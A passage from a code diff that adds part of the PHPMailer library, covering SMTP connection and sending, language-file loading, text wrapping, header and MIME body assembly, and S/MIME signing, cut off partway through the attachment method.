+            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
+        }
+        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
+            $smtp_from = $this->Sender;
+        } else {
+            $smtp_from = $this->From;
+        }
+        if (!$this->smtp->mail($smtp_from)) {
+            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
+            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
+        }
+
+        // Attempt to send to all recipients
+        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
+            foreach ($togroup as $to) {
+                if (!$this->smtp->recipient($to[0])) {
+                    $error = $this->smtp->getError();
+                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
+                    $isSent = false;
+                } else {
+                    $isSent = true;
+                }
+                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
+            }
+        }
+
+        // Only send the DATA command if we have viable recipients
+        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
+            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
+        }
+        if ($this->SMTPKeepAlive) {
+            $this->smtp->reset();
+        } else {
+            $this->smtp->quit();
+            $this->smtp->close();
+        }
+        //Create error message for any bad addresses
+        if (count($bad_rcpt) > 0) {
+            $errstr = '';
+            foreach ($bad_rcpt as $bad) {
+                $errstr .= $bad['to'] . ': ' . $bad['error'];
+            }
+            throw new phpmailerException(
+                $this->lang('recipients_failed') . $errstr,
+                self::STOP_CONTINUE
+            );
+        }
+        return true;
+    }
+
+    /**
+     * Initiate a connection to an SMTP server.
+     * Returns false if the operation failed.
+     * @param array $options An array of options compatible with stream_context_create()
+     * @uses SMTP
+     * @access public
+     * @throws phpmailerException
+     * @return boolean
+     */
+    public function smtpConnect($options = null)
+    {
+        if (is_null($this->smtp)) {
+            $this->smtp = $this->getSMTPInstance();
+        }
+
+        //If no options are provided, use whatever is set in the instance
+        if (is_null($options)) {
+            $options = $this->SMTPOptions;
+        }
+
+        // Already connected?
+        if ($this->smtp->connected()) {
+            return true;
+        }
+
+        $this->smtp->setTimeout($this->Timeout);
+        $this->smtp->setDebugLevel($this->SMTPDebug);
+        $this->smtp->setDebugOutput($this->Debugoutput);
+        $this->smtp->setVerp($this->do_verp);
+        $hosts = explode(';', $this->Host);
+        $lastexception = null;
+
+        foreach ($hosts as $hostentry) {
+            $hostinfo = array();
+            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
+                // Not a valid host entry
+                continue;
+            }
+            // $hostinfo[2]: optional ssl or tls prefix
+            // $hostinfo[3]: the hostname
+            // $hostinfo[4]: optional port number
+            // The host string prefix can temporarily override the current setting for SMTPSecure
+            // If it's not specified, the default value is used
+            $prefix = '';
+            $secure = $this->SMTPSecure;
+            $tls = ($this->SMTPSecure == 'tls');
+            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
+                $prefix = 'ssl://';
+                $tls = false; // Can't have SSL and TLS at the same time
+                $secure = 'ssl';
+            } elseif ($hostinfo[2] == 'tls') {
+                $tls = true;
+                // tls doesn't use a prefix
+                $secure = 'tls';
+            }
+            //Do we need the OpenSSL extension?
+            $sslext = defined('OPENSSL_ALGO_SHA1');
+            if ('tls' === $secure or 'ssl' === $secure) {
+                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
+                if (!$sslext) {
+                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
+                }
+            }
+            $host = $hostinfo[3];
+            $port = $this->Port;
+            $tport = (integer)$hostinfo[4];
+            if ($tport > 0 and $tport < 65536) {
+                $port = $tport;
+            }
+            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
+                try {
+                    if ($this->Helo) {
+                        $hello = $this->Helo;
+                    } else {
+                        $hello = $this->serverHostname();
+                    }
+                    $this->smtp->hello($hello);
+                    //Automatically enable TLS encryption if:
+                    // * it's not disabled
+                    // * we have openssl extension
+                    // * we are not already using SSL
+                    // * the server offers STARTTLS
+                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
+                        $tls = true;
+                    }
+                    if ($tls) {
+                        if (!$this->smtp->startTLS()) {
+                            throw new phpmailerException($this->lang('connect_host'));
+                        }
+                        // We must resend EHLO after TLS negotiation
+                        $this->smtp->hello($hello);
+                    }
+                    if ($this->SMTPAuth) {
+                        if (!$this->smtp->authenticate(
+                            $this->Username,
+                            $this->Password,
+                            $this->AuthType,
+                            $this->Realm,
+                            $this->Workstation
+                        )
+                        ) {
+                            throw new phpmailerException($this->lang('authenticate'));
+                        }
+                    }
+                    return true;
+                } catch (phpmailerException $exc) {
+                    $lastexception = $exc;
+                    $this->edebug($exc->getMessage());
+                    // We must have connected, but then failed TLS or Auth, so close connection nicely
+                    $this->smtp->quit();
+                }
+            }
+        }
+        // If we get here, all connection attempts have failed, so close connection hard
+        $this->smtp->close();
+        // As we've caught all exceptions, just report whatever the last one was
+        if ($this->exceptions and !is_null($lastexception)) {
+            throw $lastexception;
+        }
+        return false;
+    }
+
+    /**
+     * Close the active SMTP session if one exists.
+     * @return void
+     */
+    public function smtpClose()
+    {
+        if (is_a($this->smtp, 'SMTP')) {
+            if ($this->smtp->connected()) {
+                $this->smtp->quit();
+                $this->smtp->close();
+            }
+        }
+    }
+
+    /**
+     * Set the language for error messages.
+     * Returns false if it cannot load the language file.
+     * The default language is English.
+     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
+     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
+     * @return boolean
+     * @access public
+     */
+    public function setLanguage($langcode = 'en', $lang_path = '')
+    {
+        // Backwards compatibility for renamed language codes
+        $renamed_langcodes = array(
+            'br' => 'pt_br',
+            'cz' => 'cs',
+            'dk' => 'da',
+            'no' => 'nb',
+            'se' => 'sv',
+        );
+
+        if (isset($renamed_langcodes[$langcode])) {
+            $langcode = $renamed_langcodes[$langcode];
+        }
+
+        // Define full set of translatable strings in English
+        $PHPMAILER_LANG = array(
+            'authenticate' => 'SMTP Error: Could not authenticate.',
+            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
+            'data_not_accepted' => 'SMTP Error: data not accepted.',
+            'empty_message' => 'Message body empty',
+            'encoding' => 'Unknown encoding: ',
+            'execute' => 'Could not execute: ',
+            'file_access' => 'Could not access file: ',
+            'file_open' => 'File Error: Could not open file: ',
+            'from_failed' => 'The following From address failed: ',
+            'instantiate' => 'Could not instantiate mail function.',
+            'invalid_address' => 'Invalid address: ',
+            'mailer_not_supported' => ' mailer is not supported.',
+            'provide_address' => 'You must provide at least one recipient email address.',
+            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
+            'signing' => 'Signing Error: ',
+            'smtp_connect_failed' => 'SMTP connect() failed.',
+            'smtp_error' => 'SMTP server error: ',
+            'variable_set' => 'Cannot set or reset variable: ',
+            'extension_missing' => 'Extension missing: '
+        );
+        if (empty($lang_path)) {
+            // Calculate an absolute path so it can work if CWD is not here
+            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
+        }
+        //Validate $langcode
+        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
+            $langcode = 'en';
+        }
+        $foundlang = true;
+        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
+        // There is no English translation file
+        if ($langcode != 'en') {
+            // Make sure language file path is readable
+            if (!self::fileIsAccessible($lang_file)) {
+                $foundlang = false;
+            } else {
+                // Overwrite language-specific strings.
+                // This way we'll never have missing translation keys.
+                $foundlang = include $lang_file;
+            }
+        }
+        $this->language = $PHPMAILER_LANG;
+        return (boolean)$foundlang; // Returns false if language not found
+    }
+
+    /**
+     * Get the array of strings for the current language.
+     * @return array
+     */
+    public function getTranslations()
+    {
+        return $this->language;
+    }
+
+    /**
+     * Create recipient headers.
+     * @access public
+     * @param string $type
+     * @param array $addr An array of recipient,
+     * where each recipient is a 2-element indexed array with element 0 containing an address
+     * and element 1 containing a name, like:
+     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
+     * @return string
+     */
+    public function addrAppend($type, $addr)
+    {
+        $addresses = array();
+        foreach ($addr as $address) {
+            $addresses[] = $this->addrFormat($address);
+        }
+        return $type . ': ' . implode(', ', $addresses) . $this->LE;
+    }
+
+    /**
+     * Format an address for use in a message header.
+     * @access public
+     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
+     *      like array('joe@example.com', 'Joe User')
+     * @return string
+     */
+    public function addrFormat($addr)
+    {
+        if (empty($addr[1])) { // No name provided
+            return $this->secureHeader($addr[0]);
+        } else {
+            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
+                $addr[0]
+            ) . '>';
+        }
+    }
+
+    /**
+     * Word-wrap message.
+     * For use with mailers that do not automatically perform wrapping
+     * and for quoted-printable encoded messages.
+     * Original written by philippe.
+     * @param string $message The message to wrap
+     * @param integer $length The line length to wrap to
+     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
+     * @access public
+     * @return string
+     */
+    public function wrapText($message, $length, $qp_mode = false)
+    {
+        if ($qp_mode) {
+            $soft_break = sprintf(' =%s', $this->LE);
+        } else {
+            $soft_break = $this->LE;
+        }
+        // If utf-8 encoding is used, we will need to make sure we don't
+        // split multibyte characters when we wrap
+        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
+        $lelen = strlen($this->LE);
+        $crlflen = strlen(self::CRLF);
+
+        $message = $this->fixEOL($message);
+        //Remove a trailing line break
+        if (substr($message, -$lelen) == $this->LE) {
+            $message = substr($message, 0, -$lelen);
+        }
+
+        //Split message into lines
+        $lines = explode($this->LE, $message);
+        //Message will be rebuilt in here
+        $message = '';
+        foreach ($lines as $line) {
+            $words = explode(' ', $line);
+            $buf = '';
+            $firstword = true;
+            foreach ($words as $word) {
+                if ($qp_mode and (strlen($word) > $length)) {
+                    $space_left = $length - strlen($buf) - $crlflen;
+                    if (!$firstword) {
+                        if ($space_left > 20) {
+                            $len = $space_left;
+                            if ($is_utf8) {
+                                $len = $this->utf8CharBoundary($word, $len);
+                            } elseif (substr($word, $len - 1, 1) == '=') {
+                                $len--;
+                            } elseif (substr($word, $len - 2, 1) == '=') {
+                                $len -= 2;
+                            }
+                            $part = substr($word, 0, $len);
+                            $word = substr($word, $len);
+                            $buf .= ' ' . $part;
+                            $message .= $buf . sprintf('=%s', self::CRLF);
+                        } else {
+                            $message .= $buf . $soft_break;
+                        }
+                        $buf = '';
+                    }
+                    while (strlen($word) > 0) {
+                        if ($length <= 0) {
+                            break;
+                        }
+                        $len = $length;
+                        if ($is_utf8) {
+                            $len = $this->utf8CharBoundary($word, $len);
+                        } elseif (substr($word, $len - 1, 1) == '=') {
+                            $len--;
+                        } elseif (substr($word, $len - 2, 1) == '=') {
+                            $len -= 2;
+                        }
+                        $part = substr($word, 0, $len);
+                        $word = substr($word, $len);
+
+                        if (strlen($word) > 0) {
+                            $message .= $part . sprintf('=%s', self::CRLF);
+                        } else {
+                            $buf = $part;
+                        }
+                    }
+                } else {
+                    $buf_o = $buf;
+                    if (!$firstword) {
+                        $buf .= ' ';
+                    }
+                    $buf .= $word;
+
+                    if (strlen($buf) > $length and $buf_o != '') {
+                        $message .= $buf_o . $soft_break;
+                        $buf = $word;
+                    }
+                }
+                $firstword = false;
+            }
+            $message .= $buf . self::CRLF;
+        }
+
+        return $message;
+    }
+
+    /**
+     * Find the last character boundary prior to $maxLength in a utf-8
+     * quoted-printable encoded string.
+     * Original written by Colin Brown.
+     * @access public
+     * @param string $encodedText utf-8 QP text
+     * @param integer $maxLength Find the last character boundary prior to this length
+     * @return integer
+     */
+    public function utf8CharBoundary($encodedText, $maxLength)
+    {
+        $foundSplitPos = false;
+        $lookBack = 3;
+        while (!$foundSplitPos) {
+            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
+            $encodedCharPos = strpos($lastChunk, '=');
+            if (false !== $encodedCharPos) {
+                // Found start of encoded character byte within $lookBack block.
+                // Check the encoded byte value (the 2 chars after the '=')
+                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
+                $dec = hexdec($hex);
+                if ($dec < 128) {
+                    // Single byte character.
+                    // If the encoded char was found at pos 0, it will fit
+                    // otherwise reduce maxLength to start of the encoded char
+                    if ($encodedCharPos > 0) {
+                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
+                    }
+                    $foundSplitPos = true;
+                } elseif ($dec >= 192) {
+                    // First byte of a multi byte character
+                    // Reduce maxLength to split at start of character
+                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
+                    $foundSplitPos = true;
+                } elseif ($dec < 192) {
+                    // Middle byte of a multi byte character, look further back
+                    $lookBack += 3;
+                }
+            } else {
+                // No encoded character found
+                $foundSplitPos = true;
+            }
+        }
+        return $maxLength;
+    }
+
+    /**
+     * Apply word wrapping to the message body.
+     * Wraps the message body to the number of chars set in the WordWrap property.
+     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
+     * This is called automatically by createBody(), so you don't need to call it yourself.
+     * @access public
+     * @return void
+     */
+    public function setWordWrap()
+    {
+        if ($this->WordWrap < 1) {
+            return;
+        }
+
+        switch ($this->message_type) {
+            case 'alt':
+            case 'alt_inline':
+            case 'alt_attach':
+            case 'alt_inline_attach':
+                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
+                break;
+            default:
+                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
+                break;
+        }
+    }
+
+    /**
+     * Assemble message headers.
+     * @access public
+     * @return string The assembled headers
+     */
+    public function createHeader()
+    {
+        $result = '';
+
+        if ($this->MessageDate == '') {
+            $this->MessageDate = self::rfcDate();
+        }
+        $result .= $this->headerLine('Date', $this->MessageDate);
+
+        // To be created automatically by mail()
+        if ($this->SingleTo) {
+            if ($this->Mailer != 'mail') {
+                foreach ($this->to as $toaddr) {
+                    $this->SingleToArray[] = $this->addrFormat($toaddr);
+                }
+            }
+        } else {
+            if (count($this->to) > 0) {
+                if ($this->Mailer != 'mail') {
+                    $result .= $this->addrAppend('To', $this->to);
+                }
+            } elseif (count($this->cc) == 0) {
+                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
+            }
+        }
+
+        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
+
+        // sendmail and mail() extract Cc from the header before sending
+        if (count($this->cc) > 0) {
+            $result .= $this->addrAppend('Cc', $this->cc);
+        }
+
+        // sendmail and mail() extract Bcc from the header before sending
+        if ((
+                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
+            )
+            and count($this->bcc) > 0
+        ) {
+            $result .= $this->addrAppend('Bcc', $this->bcc);
+        }
+
+        if (count($this->ReplyTo) > 0) {
+            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
+        }
+
+        // mail() sets the subject itself
+        if ($this->Mailer != 'mail') {
+            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
+        }
+
+        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
+        // https://tools.ietf.org/html/rfc5322#section-3.6.4
+        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
+            $this->lastMessageID = $this->MessageID;
+        } else {
+            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
+        }
+        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
+        if (!is_null($this->Priority)) {
+            $result .= $this->headerLine('X-Priority', $this->Priority);
+        }
+        if ($this->XMailer == '') {
+            $result .= $this->headerLine(
+                'X-Mailer',
+                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
+            );
+        } else {
+            $myXmailer = trim($this->XMailer);
+            if ($myXmailer) {
+                $result .= $this->headerLine('X-Mailer', $myXmailer);
+            }
+        }
+
+        if ($this->ConfirmReadingTo != '') {
+            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
+        }
+
+        // Add custom headers
+        foreach ($this->CustomHeader as $header) {
+            $result .= $this->headerLine(
+                trim($header[0]),
+                $this->encodeHeader(trim($header[1]))
+            );
+        }
+        if (!$this->sign_key_file) {
+            $result .= $this->headerLine('MIME-Version', '1.0');
+            $result .= $this->getMailMIME();
+        }
+
+        return $result;
+    }
+
+    /**
+     * Get the message MIME type headers.
+     * @access public
+     * @return string
+     */
+    public function getMailMIME()
+    {
+        $result = '';
+        $ismultipart = true;
+        switch ($this->message_type) {
+            case 'inline':
+                $result .= $this->headerLine('Content-Type', 'multipart/related;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            case 'attach':
+            case 'inline_attach':
+            case 'alt_attach':
+            case 'alt_inline_attach':
+                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            case 'alt':
+            case 'alt_inline':
+                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            default:
+                // Catches case 'plain': and case '':
+                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
+                $ismultipart = false;
+                break;
+        }
+        // RFC1341 part 5 says 7bit is assumed if not specified
+        if ($this->Encoding != '7bit') {
+            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
+            if ($ismultipart) {
+                if ($this->Encoding == '8bit') {
+                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
+                }
+                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
+            } else {
+                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
+            }
+        }
+
+        if ($this->Mailer != 'mail') {
+            $result .= $this->LE;
+        }
+
+        return $result;
+    }
+
+    /**
+     * Returns the whole MIME message.
+     * Includes complete headers and body.
+     * Only valid post preSend().
+     * @see PHPMailer::preSend()
+     * @access public
+     * @return string
+     */
+    public function getSentMIMEMessage()
+    {
+        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
+    }
+
+    /**
+     * Create unique ID
+     * @return string
+     */
+    protected function generateId() {
+        return md5(uniqid(time()));
+    }
+
+    /**
+     * Assemble the message body.
+     * Returns an empty string on failure.
+     * @access public
+     * @throws phpmailerException
+     * @return string The assembled message body
+     */
+    public function createBody()
+    {
+        $body = '';
+        //Create unique IDs and preset boundaries
+        $this->uniqueid = $this->generateId();
+        $this->boundary[1] = 'b1_' . $this->uniqueid;
+        $this->boundary[2] = 'b2_' . $this->uniqueid;
+        $this->boundary[3] = 'b3_' . $this->uniqueid;
+
+        if ($this->sign_key_file) {
+            $body .= $this->getMailMIME() . $this->LE;
+        }
+
+        $this->setWordWrap();
+
+        $bodyEncoding = $this->Encoding;
+        $bodyCharSet = $this->CharSet;
+        //Can we do a 7-bit downgrade?
+        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
+            $bodyEncoding = '7bit';
+            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
+            $bodyCharSet = 'us-ascii';
+        }
+        //If lines are too long, and we're not already using an encoding that will shorten them,
+        //change to quoted-printable transfer encoding for the body part only
+        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
+            $bodyEncoding = 'quoted-printable';
+        }
+
+        $altBodyEncoding = $this->Encoding;
+        $altBodyCharSet = $this->CharSet;
+        //Can we do a 7-bit downgrade?
+        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
+            $altBodyEncoding = '7bit';
+            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
+            $altBodyCharSet = 'us-ascii';
+        }
+        //If lines are too long, and we're not already using an encoding that will shorten them,
+        //change to quoted-printable transfer encoding for the alt body part only
+        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
+            $altBodyEncoding = 'quoted-printable';
+        }
+        //Use this as a preamble in all multipart message types
+        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
+        switch ($this->message_type) {
+            case 'inline':
+                $body .= $mimepre;
+                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[1]);
+                break;
+            case 'attach':
+                $body .= $mimepre;
+                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'inline_attach':
+                $body .= $mimepre;
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'alt':
+                $body .= $mimepre;
+                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
+                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                if (!empty($this->Ical)) {
+                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
+                    $body .= $this->encodeString($this->Ical, $this->Encoding);
+                    $body .= $this->LE . $this->LE;
+                }
+                $body .= $this->endBoundary($this->boundary[1]);
+                break;
+            case 'alt_inline':
+                $body .= $mimepre;
+                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
+                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->endBoundary($this->boundary[1]);
+                break;
+            case 'alt_attach':
+                $body .= $mimepre;
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
+                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->endBoundary($this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'alt_inline_attach':
+                $body .= $mimepre;
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
+                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->textLine('--' . $this->boundary[2]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
+                $body .= $this->encodeString($this->Body, $bodyEncoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[3]);
+                $body .= $this->LE;
+                $body .= $this->endBoundary($this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            default:
+                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
+                //Reset the `Encoding` property in case we changed it for line length reasons
+                $this->Encoding = $bodyEncoding;
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                break;
+        }
+
+        if ($this->isError()) {
+            $body = '';
+        } elseif ($this->sign_key_file) {
+            try {
+                if (!defined('PKCS7_TEXT')) {
+                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
+                }
+                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
+                $file = tempnam(sys_get_temp_dir(), 'mail');
+                if (false === file_put_contents($file, $body)) {
+                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
+                }
+                $signed = tempnam(sys_get_temp_dir(), 'signed');
+                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
+                if (empty($this->sign_extracerts_file)) {
+                    $sign = @openssl_pkcs7_sign(
+                        $file,
+                        $signed,
+                        'file://' . realpath($this->sign_cert_file),
+                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
+                        null
+                    );
+                } else {
+                    $sign = @openssl_pkcs7_sign(
+                        $file,
+                        $signed,
+                        'file://' . realpath($this->sign_cert_file),
+                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
+                        null,
+                        PKCS7_DETACHED,
+                        $this->sign_extracerts_file
+                    );
+                }
+                if ($sign) {
+                    @unlink($file);
+                    $body = file_get_contents($signed);
+                    @unlink($signed);
+                    //The message returned by openssl contains both headers and body, so need to split them up
+                    $parts = explode("\n\n", $body, 2);
+                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
+                    $body = $parts[1];
+                } else {
+                    @unlink($file);
+                    @unlink($signed);
+                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
+                }
+            } catch (phpmailerException $exc) {
+                $body = '';
+                if ($this->exceptions) {
+                    throw $exc;
+                }
+            }
+        }
+        return $body;
+    }
+
+    /**
+     * Return the start of a message boundary.
+     * @access protected
+     * @param string $boundary
+     * @param string $charSet
+     * @param string $contentType
+     * @param string $encoding
+     * @return string
+     */
+    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
+    {
+        $result = '';
+        if ($charSet == '') {
+            $charSet = $this->CharSet;
+        }
+        if ($contentType == '') {
+            $contentType = $this->ContentType;
+        }
+        if ($encoding == '') {
+            $encoding = $this->Encoding;
+        }
+        $result .= $this->textLine('--' . $boundary);
+        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
+        $result .= $this->LE;
+        // RFC1341 part 5 says 7bit is assumed if not specified
+        if ($encoding != '7bit') {
+            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
+        }
+        $result .= $this->LE;
+
+        return $result;
+    }
+
+    /**
+     * Return the end of a message boundary.
+     * @access protected
+     * @param string $boundary
+     * @return string
+     */
+    protected function endBoundary($boundary)
+    {
+        return $this->LE . '--' . $boundary . '--' . $this->LE;
+    }
+
+    /**
+     * Set the message type.
+     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
+     * @access protected
+     * @return void
+     */
+    protected function setMessageType()
+    {
+        $type = array();
+        if ($this->alternativeExists()) {
+            $type[] = 'alt';
+        }
+        if ($this->inlineImageExists()) {
+            $type[] = 'inline';
+        }
+        if ($this->attachmentExists()) {
+            $type[] = 'attach';
+        }
+        $this->message_type = implode('_', $type);
+        if ($this->message_type == '') {
+            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
+            $this->message_type = 'plain';
+        }
+    }
+
+    /**
+     * Format a header line.
+     * @access public
+     * @param string $name
+     * @param string $value
+     * @return string
+     */
+    public function headerLine($name, $value)
+    {
+        return $name . ': ' . $value . $this->LE;
+    }
+
+    /**
+     * Return a formatted mail line.
+     * @access public
+     * @param string $value
+     * @return string
+     */
+    public function textLine($value)
+    {
+        return $value . $this->LE;
+    }
+
+    /**
+     * Add an attachment from a path on the filesystem.
+     * Never use a user-supplied path to a file!
+     * Returns false if the file could not be found or read.
+     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
+     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
+     * @param string $path Path to the attachment.
+     * @param string $name Overrides the attachment name.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File extension (MIME) type.
+     * @param string $disposition Disposition to use
+     * @throws phpmailerException
+     * @return boolean
+     */
+    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
+    {
+        try {
+            if (!self::fileIsAccessible($path)) {
+                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
+            }
+
+            // If a MIME type is not specified, try to work it out from the file name
+            if ($type == '') {
